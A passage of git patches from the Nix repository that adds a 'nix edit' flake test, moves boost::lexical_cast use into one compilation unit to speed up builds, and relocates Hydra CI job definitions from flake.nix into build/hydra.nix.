a/tests/functional/flakes/edit.sh b/tests/functional/flakes/edit.sh new file mode 100755 index 000000000..0fdf8b95a --- /dev/null +++ b/tests/functional/flakes/edit.sh @@ -0,0 +1,13 @@ +#!/usr/bin/env bash + +source ./common.sh + +requireGit + +flake1Dir=$TEST_ROOT/flake1 + +createGitRepo "$flake1Dir" +createSimpleGitFlake "$flake1Dir" + +export EDITOR=cat +nix edit "$flake1Dir#" | grepQuiet simple.builder.sh diff --git a/tests/functional/local.mk b/tests/functional/local.mk index a94c5712c..5be2cddb2 100644 --- a/tests/functional/local.mk +++ b/tests/functional/local.mk @@ -2,6 +2,7 @@ nix_tests = \ test-infra.sh \ flakes/flakes.sh \ flakes/develop.sh \ + flakes/edit.sh \ flakes/run.sh \ flakes/mercurial.sh \ flakes/circular.sh \ diff --git a/tests/functional/simple.nix b/tests/functional/simple.nix index 4223c0f23..2035ca294 100644 --- a/tests/functional/simple.nix +++ b/tests/functional/simple.nix @@ -5,4 +5,5 @@ mkDerivation { builder = ./simple.builder.sh; PATH = ""; goodPath = path; + meta.position = "${__curPos.file}:${toString __curPos.line}"; } From 473d2d56fc2ef401cccd17ae736330b50c168c4a Mon Sep 17 00:00:00 2001 From: Jade Lovelace Date: Wed, 29 May 2024 21:12:34 -0700 Subject: [PATCH 0692/1251] Remove 100s of CPU time (10%) from build times (1465s -> 1302s) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Result's from Mic92's framework 13th Gen Intel Core i7-1360P: Before: 3595.92s user 183.01s system 1360% cpu 4:37.74 total After: 3486.07s user 168.93s system 1354% cpu 4:29.79 total I saw that boost/lexical_cast was costing about 100s in CPU time on our compiles. We can fix this trivially by doing explicit template instantiation in exactly one place and eliminating all other includes of it, which is a code improvement anyway by hiding the boost. Before: ``` lix/lix2 » ClangBuildAnalyzer --analyze buildtimeold.bin Analyzing build trace from 'buildtimeold.bin'... **** Time summary: Compilation (551 times): Parsing (frontend): 1465.3 s Codegen & opts (backend): 1110.9 s **** Expensive headers: 178153 ms: ../src/libcmd/installable-value.hh (included 52 times, avg 3426 ms), included via: 40x: command.hh 5x: command-installable-value.hh 3x: installable-flake.hh 2x: 2x: installable-attr-path.hh 176217 ms: ../src/libutil/error.hh (included 246 times, avg 716 ms), included via: 36x: command.hh installable-value.hh installables.hh derived-path.hh config.hh experimental-features.hh 12x: globals.hh config.hh experimental-features.hh 11x: file-system.hh file-descriptor.hh 6x: serialise.hh strings.hh 6x: 6x: archive.hh serialise.hh strings.hh ... 173243 ms: ../src/libstore/store-api.hh (included 152 times, avg 1139 ms), included via: 55x: 39x: command.hh installable-value.hh installables.hh 7x: libexpr.hh 4x: local-store.hh 4x: command-installable-value.hh installable-value.hh installables.hh 3x: binary-cache-store.hh ... 170482 ms: ../src/libutil/serialise.hh (included 201 times, avg 848 ms), included via: 37x: command.hh installable-value.hh installables.hh built-path.hh realisation.hh hash.hh 14x: store-api.hh nar-info.hh hash.hh 11x: 7x: primops.hh eval.hh attr-set.hh nixexpr.hh value.hh source-path.hh archive.hh 7x: libexpr.hh value.hh source-path.hh archive.hh 6x: fetchers.hh hash.hh ... 169397 ms: ../src/libcmd/installables.hh (included 53 times, avg 3196 ms), included via: 40x: command.hh installable-value.hh 5x: command-installable-value.hh installable-value.hh 3x: installable-flake.hh installable-value.hh 2x: 1x: installable-derived-path.hh 1x: installable-value.hh ... 159740 ms: ../src/libutil/strings.hh (included 221 times, avg 722 ms), included via: 37x: command.hh installable-value.hh installables.hh built-path.hh realisation.hh hash.hh serialise.hh 19x: 14x: store-api.hh nar-info.hh hash.hh serialise.hh 11x: serialise.hh 7x: primops.hh eval.hh attr-set.hh nixexpr.hh value.hh source-path.hh archive.hh serialise.hh 7x: libexpr.hh value.hh source-path.hh archive.hh serialise.hh ... 156796 ms: ../src/libcmd/command.hh (included 51 times, avg 3074 ms), included via: 42x: 7x: command-installable-value.hh 2x: installable-attr-path.hh 150392 ms: ../src/libutil/types.hh (included 251 times, avg 599 ms), included via: 36x: command.hh installable-value.hh installables.hh path.hh 11x: file-system.hh 10x: globals.hh 6x: fetchers.hh 6x: serialise.hh strings.hh error.hh 5x: archive.hh ... 133101 ms: /nix/store/644b90j1vms44nr18yw3520pzkrg4dd1-boost-1.81.0-dev/include/boost/lexical_cast.hpp (included 226 times, avg 588 ms), included via : 37x: command.hh installable-value.hh installables.hh built-path.hh realisation.hh hash.hh serialise.hh strings.hh 19x: file-system.hh 11x: store-api.hh nar-info.hh hash.hh serialise.hh strings.hh 7x: primops.hh eval.hh attr-set.hh nixexpr.hh value.hh source-path.hh archive.hh serialise.hh strings.hh 7x: libexpr.hh value.hh source-path.hh archive.hh serialise.hh strings.hh 6x: eval.hh attr-set.hh nixexpr.hh value.hh source-path.hh archive.hh serialise.hh strings.hh ... 132887 ms: /nix/store/h2abv2l8irqj942i5rq9wbrj42kbsh5y-gcc-12.3.0/include/c++/12.3.0/memory (included 262 times, avg 507 ms), included via: 36x: command.hh installable-value.hh installables.hh path.hh types.hh ref.hh 16x: gtest.h 11x: file-system.hh types.hh ref.hh 10x: globals.hh types.hh ref.hh 10x: json.hpp 6x: serialise.hh ... done in 0.6s. ``` After: ``` lix/lix2 » maintainers/buildtime_report.sh build Processing all files and saving to '/home/jade/lix/lix2/maintainers/../buildtime.bin'... done in 0.6s. Run 'ClangBuildAnalyzer --analyze /home/jade/lix/lix2/maintainers/../buildtime.bin' to analyze it. Analyzing build trace from '/home/jade/lix/lix2/maintainers/../buildtime.bin'... **** Time summary: Compilation (551 times): Parsing (frontend): 1302.1 s Codegen & opts (backend): 956.3 s **** Expensive headers: 178145 ms: ../src/libutil/error.hh (included 246 times, avg 724 ms), included via: 36x: command.hh installable-value.hh installables.hh derived-path.hh config.hh experimental-features.hh 12x: globals.hh config.hh experimental-features.hh 11x: file-system.hh file-descriptor.hh 6x: 6x: serialise.hh strings.hh 6x: fetchers.hh hash.hh serialise.hh strings.hh ... 154043 ms: ../src/libcmd/installable-value.hh (included 52 times, avg 2962 ms), included via: 40x: command.hh 5x: command-installable-value.hh 3x: installable-flake.hh 2x: 2x: installable-attr-path.hh 153593 ms: ../src/libstore/store-api.hh (included 152 times, avg 1010 ms), included via: 55x: 39x: command.hh installable-value.hh installables.hh 7x: libexpr.hh 4x: local-store.hh 4x: command-installable-value.hh installable-value.hh installables.hh 3x: binary-cache-store.hh ... 149948 ms: ../src/libutil/types.hh (included 251 times, avg 597 ms), included via: 36x: command.hh installable-value.hh installables.hh path.hh 11x: file-system.hh 10x: globals.hh 6x: fetchers.hh 6x: serialise.hh strings.hh error.hh 5x: archive.hh ... 144560 ms: ../src/libcmd/installables.hh (included 53 times, avg 2727 ms), included via: 40x: command.hh installable-value.hh 5x: command-installable-value.hh installable-value.hh 3x: installable-flake.hh installable-value.hh 2x: 1x: installable-value.hh 1x: installable-derived-path.hh ... 136585 ms: ../src/libcmd/command.hh (included 51 times, avg 2678 ms), included via: 42x: 7x: command-installable-value.hh 2x: installable-attr-path.hh 133394 ms: /nix/store/h2abv2l8irqj942i5rq9wbrj42kbsh5y-gcc-12.3.0/include/c++/12.3.0/memory (included 262 times, avg 509 ms), included via: 36x: command.hh installable-value.hh installables.hh path.hh types.hh ref.hh 16x: gtest.h 11x: file-system.hh types.hh ref.hh 10x: globals.hh types.hh ref.hh 10x: json.hpp 6x: serialise.hh ... 89315 ms: ../src/libstore/derived-path.hh (included 178 times, avg 501 ms), included via: 37x: command.hh installable-value.hh installables.hh 25x: store-api.hh realisation.hh 7x: primops.hh eval.hh attr-set.hh nixexpr.hh value.hh context.hh 6x: eval.hh attr-set.hh nixexpr.hh value.hh context.hh 6x: libexpr.hh value.hh context.hh 6x: shared.hh ... 87347 ms: /nix/store/h2abv2l8irqj942i5rq9wbrj42kbsh5y-gcc-12.3.0/include/c++/12.3.0/ostream (included 273 times, avg 319 ms), included via: 35x: command.hh installable-value.hh installables.hh path.hh types.hh ref.hh memory unique_ptr.h 12x: regex sstream istream 10x: file-system.hh types.hh ref.hh memory unique_ptr.h 10x: gtest.h memory unique_ptr.h 10x: globals.hh types.hh ref.hh memory unique_ptr.h 6x: fetchers.hh types.hh ref.hh memory unique_ptr.h ... 85249 ms: ../src/libutil/config.hh (included 213 times, avg 400 ms), included via: 37x: command.hh installable-value.hh installables.hh derived-path.hh 20x: globals.hh 20x: logging.hh 16x: store-api.hh logging.hh 6x: 6x: eval.hh attr-set.hh nixexpr.hh value.hh context.hh derived-path.hh ... done in 0.5s. ``` Adapated from https://git.lix.systems/lix-project/lix/commit/18aa3e1d570b4ecbb9962376e5fba5757dad8da9 --- src/libexpr/eval.cc | 2 +- src/libexpr/lexer.l | 9 +++---- src/libexpr/nixexpr.cc | 1 + src/libexpr/primops.cc | 1 + src/libexpr/print.cc | 1 + src/libmain/progress-bar.cc | 1 + src/libstore/binary-cache-store.cc | 1 + src/libstore/daemon.cc | 2 ++ src/libstore/machines.cc | 2 +- src/libutil/current-process.cc | 1 + src/libutil/file-system.hh | 2 -- src/libutil/logging.cc | 1 + src/libutil/processes.hh | 2 -- src/libutil/util.cc | 39 ++++++++++++++++++++++++++++++ src/libutil/util.hh | 21 ++-------------- src/nix-env/user-env.cc | 3 ++- src/nix/develop.cc | 1 + 17 files changed, 59 insertions(+), 31 deletions(-) diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index d7e3a2cdb..c1dadeee0 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -28,13 +28,13 @@ #include #include #include +#include #include #include #include #include #include #include -#include #include #include diff --git a/src/libexpr/lexer.l b/src/libexpr/lexer.l index ee2b6b807..8c0f9d1f2 100644 --- a/src/libexpr/lexer.l +++ b/src/libexpr/lexer.l @@ -20,8 +20,6 @@ #pragma clang diagnostic ignored "-Wunneeded-internal-declaration" #endif -#include - #include "nixexpr.hh" #include "parser-tab.hh" @@ -129,9 +127,10 @@ or { return OR_KW; } {ID} { yylval->id = {yytext, (size_t) yyleng}; return ID; } {INT} { errno = 0; - try { - yylval->n = boost::lexical_cast(yytext); - } catch (const boost::bad_lexical_cast &) { + std::optional numMay = string2Int(yytext); + if (numMay.has_value()) { + yylval->n = *numMay; + } else { throw ParseError(ErrorInfo{ .msg = HintFmt("invalid integer '%1%'", yytext), .pos = state->positions[CUR_POS], diff --git a/src/libexpr/nixexpr.cc b/src/libexpr/nixexpr.cc index c1e2b0448..44198a252 100644 --- a/src/libexpr/nixexpr.cc +++ b/src/libexpr/nixexpr.cc @@ -6,6 +6,7 @@ #include "print.hh" #include +#include namespace nix { diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc index 1b1a9be3d..7371bd488 100644 --- a/src/libexpr/primops.cc +++ b/src/libexpr/primops.cc @@ -26,6 +26,7 @@ #include #include +#include #include #ifndef _WIN32 diff --git a/src/libexpr/print.cc b/src/libexpr/print.cc index d53fadac7..920490cfa 100644 --- a/src/libexpr/print.cc +++ b/src/libexpr/print.cc @@ -1,5 +1,6 @@ #include #include +#include #include "print.hh" #include "ansicolor.hh" diff --git a/src/libmain/progress-bar.cc b/src/libmain/progress-bar.cc index ce45eae2b..bb4c52ef7 100644 --- a/src/libmain/progress-bar.cc +++ b/src/libmain/progress-bar.cc @@ -7,6 +7,7 @@ #include #include #include +#include #include #include diff --git a/src/libstore/binary-cache-store.cc b/src/libstore/binary-cache-store.cc index 5153ca64f..56e47697c 100644 --- a/src/libstore/binary-cache-store.cc +++ b/src/libstore/binary-cache-store.cc @@ -18,6 +18,7 @@ #include #include #include +#include #include diff --git a/src/libstore/daemon.cc b/src/libstore/daemon.cc index eb6a4e690..4e231ca99 100644 --- a/src/libstore/daemon.cc +++ b/src/libstore/daemon.cc @@ -19,6 +19,8 @@ # include "monitor-fd.hh" #endif +#include + namespace nix::daemon { Sink & operator << (Sink & sink, const Logger::Fields & fields) diff --git a/src/libstore/machines.cc b/src/libstore/machines.cc index 20f24e883..256cf9188 100644 --- a/src/libstore/machines.cc +++ b/src/libstore/machines.cc @@ -148,7 +148,7 @@ static Machine parseBuilderLine(const std::set & defaultSystems, co }; auto parseFloatField = [&](size_t fieldIndex) { - const auto result = string2Int(tokens[fieldIndex]); + const auto result = string2Float(tokens[fieldIndex]); if (!result) { throw FormatError("bad machine specification: failed to convert column #%lu in a row: '%s' to 'float'", fieldIndex, line); } diff --git a/src/libutil/current-process.cc b/src/libutil/current-process.cc index 9efb68d47..6ca48220d 100644 --- a/src/libutil/current-process.cc +++ b/src/libutil/current-process.cc @@ -7,6 +7,7 @@ #include "file-system.hh" #include "processes.hh" #include "signals.hh" +#include #ifdef __APPLE__ # include diff --git a/src/libutil/file-system.hh b/src/libutil/file-system.hh index 933e88441..c6b6ecedb 100644 --- a/src/libutil/file-system.hh +++ b/src/libutil/file-system.hh @@ -20,8 +20,6 @@ #endif #include -#include - #include #include #include diff --git a/src/libutil/logging.cc b/src/libutil/logging.cc index 2511c8849..5fa01f0d9 100644 --- a/src/libutil/logging.cc +++ b/src/libutil/logging.cc @@ -8,6 +8,7 @@ #include "position.hh" #include +#include #include #include diff --git a/src/libutil/processes.hh b/src/libutil/processes.hh index 9d5367b02..168fcaa55 100644 --- a/src/libutil/processes.hh +++ b/src/libutil/processes.hh @@ -12,8 +12,6 @@ #include #include -#include - #include #include #include diff --git a/src/libutil/util.cc b/src/libutil/util.cc index 103ce4232..99fbcaf9d 100644 --- a/src/libutil/util.cc +++ b/src/libutil/util.cc @@ -7,6 +7,8 @@ #include #include +#include +#include #ifdef NDEBUG #error "Nix may not be built with assertions disabled (i.e. with -DNDEBUG)." @@ -111,6 +113,43 @@ std::string rewriteStrings(std::string s, const StringMap & rewrites) return s; } +template +std::optional string2Int(const std::string_view s) +{ + if (s.substr(0, 1) == "-" && !std::numeric_limits::is_signed) + return std::nullopt; + try { + return boost::lexical_cast(s.data(), s.size()); + } catch (const boost::bad_lexical_cast &) { + return std::nullopt; + } +} + +// Explicitly instantiated in one place for faster compilation +template std::optional string2Int(const std::string_view s); +template std::optional string2Int(const std::string_view s); +template std::optional string2Int(const std::string_view s); +template std::optional string2Int(const std::string_view s); +template std::optional string2Int(const std::string_view s); +template std::optional string2Int(const std::string_view s); +template std::optional string2Int(const std::string_view s); +template std::optional string2Int(const std::string_view s); +template std::optional string2Int(const std::string_view s); +template std::optional string2Int(const std::string_view s); + +template +std::optional string2Float(const std::string_view s) +{ + try { + return boost::lexical_cast(s.data(), s.size()); + } catch (const boost::bad_lexical_cast &) { + return std::nullopt; + } +} + +template std::optional string2Float(const std::string_view s); +template std::optional string2Float(const std::string_view s); + bool hasPrefix(std::string_view s, std::string_view prefix) { diff --git a/src/libutil/util.hh b/src/libutil/util.hh index 8b049875a..0919f43c3 100644 --- a/src/libutil/util.hh +++ b/src/libutil/util.hh @@ -5,7 +5,6 @@ #include "error.hh" #include "logging.hh" -#include #include #include @@ -102,16 +101,7 @@ std::string rewriteStrings(std::string s, const StringMap & rewrites); * Parse a string into an integer. */ template -std::optional string2Int(const std::string_view s) -{ - if (s.substr(0, 1) == "-" && !std::numeric_limits::is_signed) - return std::nullopt; - try { - return boost::lexical_cast(s.data(), s.size()); - } catch (const boost::bad_lexical_cast &) { - return std::nullopt; - } -} +std::optional string2Int(const std::string_view s); /** * Like string2Int(), but support an optional suffix 'K', 'M', 'G' or @@ -141,14 +131,7 @@ N string2IntWithUnitPrefix(std::string_view s) * Parse a string into a float. */ template -std::optional string2Float(const std::string_view s) -{ - try { - return boost::lexical_cast(s.data(), s.size()); - } catch (const boost::bad_lexical_cast &) { - return std::nullopt; - } -} +std::optional string2Float(const std::string_view s); /** diff --git a/src/nix-env/user-env.cc b/src/nix-env/user-env.cc index f7b091f8f..5246b03e4 100644 --- a/src/nix-env/user-env.cc +++ b/src/nix-env/user-env.cc @@ -9,8 +9,9 @@ #include "eval-inline.hh" #include "profiles.hh" #include "print-ambiguous.hh" -#include +#include +#include namespace nix { diff --git a/src/nix/develop.cc b/src/nix/develop.cc index 0363ca829..27287a1a8 100644 --- a/src/nix/develop.cc +++ b/src/nix/develop.cc @@ -14,6 +14,7 @@ #include #include +#include #include #include From 5fde77b16610782506bc26d6706c5663b814db02 Mon Sep 17 00:00:00 2001 From: fricklerhandwerk Date: Fri, 31 May 2024 19:12:35 +0200 Subject: [PATCH 0693/1251] move Hydra jobs into a separate file Co-Authored-By: Tom Bereknyei --- build/hydra.nix | 168 ++++++++++++++++++++++++++++++++++++++++++++++++ flake.nix | 165 ++++------------------------------------------- 2 files changed, 182 insertions(+), 151 deletions(-) create mode 100644 build/hydra.nix diff --git a/build/hydra.nix b/build/hydra.nix new file mode 100644 index 000000000..98054873d --- /dev/null +++ b/build/hydra.nix @@ -0,0 +1,168 @@ +{ inputs +, binaryTarball +, forAllCrossSystems +, forAllSystems +, installScriptFor +, lib +, linux64BitSystems +, nixpkgsFor +, self +, testNixVersions +}: +let + inherit (inputs) nixpkgs nixpkgs-regression; + inherit (lib) fileset; +in +{ + hydraJobs = { + # Binary package for various platforms. + build = forAllSystems (system: self.packages.${system}.nix); + + shellInputs = forAllSystems (system: self.devShells.${system}.default.inputDerivation); + + buildStatic = lib.genAttrs linux64BitSystems (system: self.packages.${system}.nix-static); + + buildCross = forAllCrossSystems (crossSystem: + lib.genAttrs [ "x86_64-linux" ] (system: self.packages.${system}."nix-${crossSystem}")); + + buildNoGc = forAllSystems (system: + self.packages.${system}.nix.override { enableGC = false; } + ); + + buildNoTests = forAllSystems (system: + self.packages.${system}.nix.override { + doCheck = false; + doInstallCheck = false; + installUnitTests = false; + } + ); + + # Toggles some settings for better coverage. Windows needs these + # library combinations, and Debian build Nix with GNU readline too. + buildReadlineNoMarkdown = forAllSystems (system: + self.packages.${system}.nix.override { + enableMarkdown = false; + readlineFlavor = "readline"; + } + ); + + # Perl bindings for various platforms. + perlBindings = forAllSystems (system: nixpkgsFor.${system}.native.nix.perl-bindings); + + # Binary tarball for various platforms, containing a Nix store + # with the closure of 'nix' package, and the second half of + # the installation script. + binaryTarball = forAllSystems (system: binaryTarball nixpkgsFor.${system}.native.nix nixpkgsFor.${system}.native); + + binaryTarballCross = lib.genAttrs [ "x86_64-linux" ] (system: + forAllCrossSystems (crossSystem: + binaryTarball + self.packages.${system}."nix-${crossSystem}" + nixpkgsFor.${system}.cross.${crossSystem})); + + # The first half of the installation script. This is uploaded + # to https://nixos.org/nix/install. It downloads the binary + # tarball for the user's system and calls the second half of the + # installation script. + installerScript = installScriptFor [ + # Native + self.hydraJobs.binaryTarball."x86_64-linux" + self.hydraJobs.binaryTarball."i686-linux" + self.hydraJobs.binaryTarball."aarch64-linux" + self.hydraJobs.binaryTarball."x86_64-darwin" + self.hydraJobs.binaryTarball."aarch64-darwin" + # Cross + self.hydraJobs.binaryTarballCross."x86_64-linux"."armv6l-unknown-linux-gnueabihf" + self.hydraJobs.binaryTarballCross."x86_64-linux"."armv7l-unknown-linux-gnueabihf" + self.hydraJobs.binaryTarballCross."x86_64-linux"."riscv64-unknown-linux-gnu" + ]; + installerScriptForGHA = installScriptFor [ + # Native + self.hydraJobs.binaryTarball."x86_64-linux" + self.hydraJobs.binaryTarball."x86_64-darwin" + # Cross + self.hydraJobs.binaryTarballCross."x86_64-linux"."armv6l-unknown-linux-gnueabihf" + self.hydraJobs.binaryTarballCross."x86_64-linux"."armv7l-unknown-linux-gnueabihf" + self.hydraJobs.binaryTarballCross."x86_64-linux"."riscv64-unknown-linux-gnu" + ]; + + # docker image with Nix inside + dockerImage = lib.genAttrs linux64BitSystems (system: self.packages.${system}.dockerImage); + + # Line coverage analysis. + coverage = nixpkgsFor.x86_64-linux.native.nix.override { + pname = "nix-coverage"; + withCoverageChecks = true; + }; + + # API docs for Nix's unstable internal C++ interfaces. + internal-api-docs = nixpkgsFor.x86_64-linux.native.callPackage ./package.nix { + inherit fileset; + doBuild = false; + enableInternalAPIDocs = true; + }; + + # API docs for Nix's C bindings. + external-api-docs = nixpkgsFor.x86_64-linux.native.callPackage ./package.nix { + inherit fileset; + doBuild = false; + enableExternalAPIDocs = true; + }; + + # System tests. + tests = import ../tests/nixos { inherit lib nixpkgs nixpkgsFor; } // { + + # Make sure that nix-env still produces the exact same result + # on a particular version of Nixpkgs. + evalNixpkgs = + let + inherit (nixpkgsFor.x86_64-linux.native) runCommand nix; + in + runCommand "eval-nixos" { buildInputs = [ nix ]; } + '' + type -p nix-env + # Note: we're filtering out nixos-install-tools because https://github.com/NixOS/nixpkgs/pull/153594#issuecomment-1020530593. + ( + set -x + time nix-env --store dummy:// -f ${nixpkgs-regression} -qaP --drv-path | sort | grep -v nixos-install-tools > packages + [[ $(sha1sum < packages | cut -c1-40) = e01b031fc9785a572a38be6bc473957e3b6faad7 ]] + ) + mkdir $out + ''; + + nixpkgsLibTests = + forAllSystems (system: + import (nixpkgs + "/lib/tests/release.nix") + { + pkgs = nixpkgsFor.${system}.native; + nixVersions = [ self.packages.${system}.nix ]; + } + ); + }; + + metrics.nixpkgs = import "${nixpkgs-regression}/pkgs/top-level/metrics.nix" { + pkgs = nixpkgsFor.x86_64-linux.native; + nixpkgs = nixpkgs-regression; + }; + + installTests = forAllSystems (system: + let pkgs = nixpkgsFor.${system}.native; in + pkgs.runCommand "install-tests" + { + againstSelf = testNixVersions pkgs pkgs.nix pkgs.pkgs.nix; + againstCurrentUnstable = + # FIXME: temporarily disable this on macOS because of #3605. + if system == "x86_64-linux" + then testNixVersions pkgs pkgs.nix pkgs.nixUnstable + else null; + # Disabled because the latest stable version doesn't handle + # `NIX_DAEMON_SOCKET_PATH` which is required for the tests to work + # againstLatestStable = testNixVersions pkgs pkgs.nix pkgs.nixStable; + } "touch $out"); + + installerTests = import ../tests/installer { + binaryTarballs = self.hydraJobs.binaryTarball; + inherit nixpkgsFor; + }; + }; +} diff --git a/flake.nix b/flake.nix index 6356eedc0..866dab00e 100644 --- a/flake.nix +++ b/flake.nix @@ -232,157 +232,20 @@ # 'nix.perl-bindings' packages. overlays.default = overlayFor (p: p.stdenv); - hydraJobs = { - - # Binary package for various platforms. - build = forAllSystems (system: self.packages.${system}.nix); - - shellInputs = forAllSystems (system: self.devShells.${system}.default.inputDerivation); - - buildStatic = lib.genAttrs linux64BitSystems (system: self.packages.${system}.nix-static); - - buildCross = forAllCrossSystems (crossSystem: - lib.genAttrs ["x86_64-linux"] (system: self.packages.${system}."nix-${crossSystem}")); - - buildNoGc = forAllSystems (system: - self.packages.${system}.nix.override { enableGC = false; } - ); - - buildNoTests = forAllSystems (system: - self.packages.${system}.nix.override { - doCheck = false; - doInstallCheck = false; - installUnitTests = false; - } - ); - - # Toggles some settings for better coverage. Windows needs these - # library combinations, and Debian build Nix with GNU readline too. - buildReadlineNoMarkdown = forAllSystems (system: - self.packages.${system}.nix.override { - enableMarkdown = false; - readlineFlavor = "readline"; - } - ); - - # Perl bindings for various platforms. - perlBindings = forAllSystems (system: nixpkgsFor.${system}.native.nix.perl-bindings); - - # Binary tarball for various platforms, containing a Nix store - # with the closure of 'nix' package, and the second half of - # the installation script. - binaryTarball = forAllSystems (system: binaryTarball nixpkgsFor.${system}.native.nix nixpkgsFor.${system}.native); - - binaryTarballCross = lib.genAttrs ["x86_64-linux"] (system: - forAllCrossSystems (crossSystem: - binaryTarball - self.packages.${system}."nix-${crossSystem}" - nixpkgsFor.${system}.cross.${crossSystem})); - - # The first half of the installation script. This is uploaded - # to https://nixos.org/nix/install. It downloads the binary - # tarball for the user's system and calls the second half of the - # installation script. - installerScript = installScriptFor [ - # Native - self.hydraJobs.binaryTarball."x86_64-linux" - self.hydraJobs.binaryTarball."i686-linux" - self.hydraJobs.binaryTarball."aarch64-linux" - self.hydraJobs.binaryTarball."x86_64-darwin" - self.hydraJobs.binaryTarball."aarch64-darwin" - # Cross - self.hydraJobs.binaryTarballCross."x86_64-linux"."armv6l-unknown-linux-gnueabihf" - self.hydraJobs.binaryTarballCross."x86_64-linux"."armv7l-unknown-linux-gnueabihf" - self.hydraJobs.binaryTarballCross."x86_64-linux"."riscv64-unknown-linux-gnu" - ]; - installerScriptForGHA = installScriptFor [ - # Native - self.hydraJobs.binaryTarball."x86_64-linux" - self.hydraJobs.binaryTarball."x86_64-darwin" - # Cross - self.hydraJobs.binaryTarballCross."x86_64-linux"."armv6l-unknown-linux-gnueabihf" - self.hydraJobs.binaryTarballCross."x86_64-linux"."armv7l-unknown-linux-gnueabihf" - self.hydraJobs.binaryTarballCross."x86_64-linux"."riscv64-unknown-linux-gnu" - ]; - - # docker image with Nix inside - dockerImage = lib.genAttrs linux64BitSystems (system: self.packages.${system}.dockerImage); - - # Line coverage analysis. - coverage = nixpkgsFor.x86_64-linux.native.nix.override { - pname = "nix-coverage"; - withCoverageChecks = true; - }; - - # API docs for Nix's unstable internal C++ interfaces. - internal-api-docs = nixpkgsFor.x86_64-linux.native.callPackage ./package.nix { - inherit fileset; - doBuild = false; - enableInternalAPIDocs = true; - }; - - # API docs for Nix's C bindings. - external-api-docs = nixpkgsFor.x86_64-linux.native.callPackage ./package.nix { - inherit fileset; - doBuild = false; - enableExternalAPIDocs = true; - }; - - # System tests. - tests = import ./tests/nixos { inherit lib nixpkgs nixpkgsFor; } // { - - # Make sure that nix-env still produces the exact same result - # on a particular version of Nixpkgs. - evalNixpkgs = - let - inherit (nixpkgsFor.x86_64-linux.native) runCommand nix; - in - runCommand "eval-nixos" { buildInputs = [ nix ]; } - '' - type -p nix-env - # Note: we're filtering out nixos-install-tools because https://github.com/NixOS/nixpkgs/pull/153594#issuecomment-1020530593. - ( - set -x - time nix-env --store dummy:// -f ${nixpkgs-regression} -qaP --drv-path | sort | grep -v nixos-install-tools > packages - [[ $(sha1sum < packages | cut -c1-40) = e01b031fc9785a572a38be6bc473957e3b6faad7 ]] - ) - mkdir $out - ''; - - nixpkgsLibTests = - forAllSystems (system: - import (nixpkgs + "/lib/tests/release.nix") - { pkgs = nixpkgsFor.${system}.native; - nixVersions = [ self.packages.${system}.nix ]; - } - ); - }; - - metrics.nixpkgs = import "${nixpkgs-regression}/pkgs/top-level/metrics.nix" { - pkgs = nixpkgsFor.x86_64-linux.native; - nixpkgs = nixpkgs-regression; - }; - - installTests = forAllSystems (system: - let pkgs = nixpkgsFor.${system}.native; in - pkgs.runCommand "install-tests" { - againstSelf = testNixVersions pkgs pkgs.nix pkgs.pkgs.nix; - againstCurrentUnstable = - # FIXME: temporarily disable this on macOS because of #3605. - if system == "x86_64-linux" - then testNixVersions pkgs pkgs.nix pkgs.nixUnstable - else null; - # Disabled because the latest stable version doesn't handle - # `NIX_DAEMON_SOCKET_PATH` which is required for the tests to work - # againstLatestStable = testNixVersions pkgs pkgs.nix pkgs.nixStable; - } "touch $out"); - - installerTests = import ./tests/installer { - binaryTarballs = self.hydraJobs.binaryTarball; - inherit nixpkgsFor; - }; - - }; + inherit (import ./build/hydra.nix { + inherit + inputs + binaryTarball + forAllCrossSystems + forAllSystems + installScriptFor + lib + linux64BitSystems + nixpkgsFor + self + testNixVersions + ; + }) hydraJobs; checks = forAllSystems (system: { binaryTarball = self.hydraJobs.binaryTarball.${system}; From 0067f49e8765710f8d9ccd753b516c0c8f13e87f Mon Sep 17 00:00:00 2001 From: fricklerhandwerk Date: Fri, 31 May 2024 20:37:58 +0200 Subject: [PATCH 0694/1251] move more declarations --- build/hydra.nix | 28 ++++++++++++++++++++++++---- flake.nix | 24 ------------------------ 2 files changed, 24 insertions(+), 28 deletions(-) diff --git a/build/hydra.nix b/build/hydra.nix index 98054873d..bc2bb3b52 100644 --- a/build/hydra.nix +++ b/build/hydra.nix @@ -2,16 +2,36 @@ , binaryTarball , forAllCrossSystems , forAllSystems -, installScriptFor , lib , linux64BitSystems , nixpkgsFor , self -, testNixVersions }: let inherit (inputs) nixpkgs nixpkgs-regression; inherit (lib) fileset; + + installScriptFor = tarballs: + nixpkgsFor.x86_64-linux.native.callPackage ./scripts/installer.nix { + inherit tarballs; + }; + + testNixVersions = pkgs: client: daemon: + pkgs.callPackage ../package.nix { + pname = + "nix-tests" + + lib.optionalString + (lib.versionAtLeast daemon.version "2.4pre20211005" && + lib.versionAtLeast client.version "2.4pre20211005") + "-${client.version}-against-${daemon.version}"; + + inherit fileset; + + test-client = client; + test-daemon = daemon; + + doBuild = false; + }; in { hydraJobs = { @@ -96,14 +116,14 @@ in }; # API docs for Nix's unstable internal C++ interfaces. - internal-api-docs = nixpkgsFor.x86_64-linux.native.callPackage ./package.nix { + internal-api-docs = nixpkgsFor.x86_64-linux.native.callPackage ../package.nix { inherit fileset; doBuild = false; enableInternalAPIDocs = true; }; # API docs for Nix's C bindings. - external-api-docs = nixpkgsFor.x86_64-linux.native.callPackage ./package.nix { + external-api-docs = nixpkgsFor.x86_64-linux.native.callPackage ../package.nix { inherit fileset; doBuild = false; enableExternalAPIDocs = true; diff --git a/flake.nix b/flake.nix index 866dab00e..a57031cfc 100644 --- a/flake.nix +++ b/flake.nix @@ -104,28 +104,6 @@ cross = forAllCrossSystems (crossSystem: make-pkgs crossSystem "stdenv"); }); - installScriptFor = tarballs: - nixpkgsFor.x86_64-linux.native.callPackage ./scripts/installer.nix { - inherit tarballs; - }; - - testNixVersions = pkgs: client: daemon: - pkgs.callPackage ./package.nix { - pname = - "nix-tests" - + lib.optionalString - (lib.versionAtLeast daemon.version "2.4pre20211005" && - lib.versionAtLeast client.version "2.4pre20211005") - "-${client.version}-against-${daemon.version}"; - - inherit fileset; - - test-client = client; - test-daemon = daemon; - - doBuild = false; - }; - binaryTarball = nix: pkgs: pkgs.callPackage ./scripts/binary-tarball.nix { inherit nix; }; @@ -238,12 +216,10 @@ binaryTarball forAllCrossSystems forAllSystems 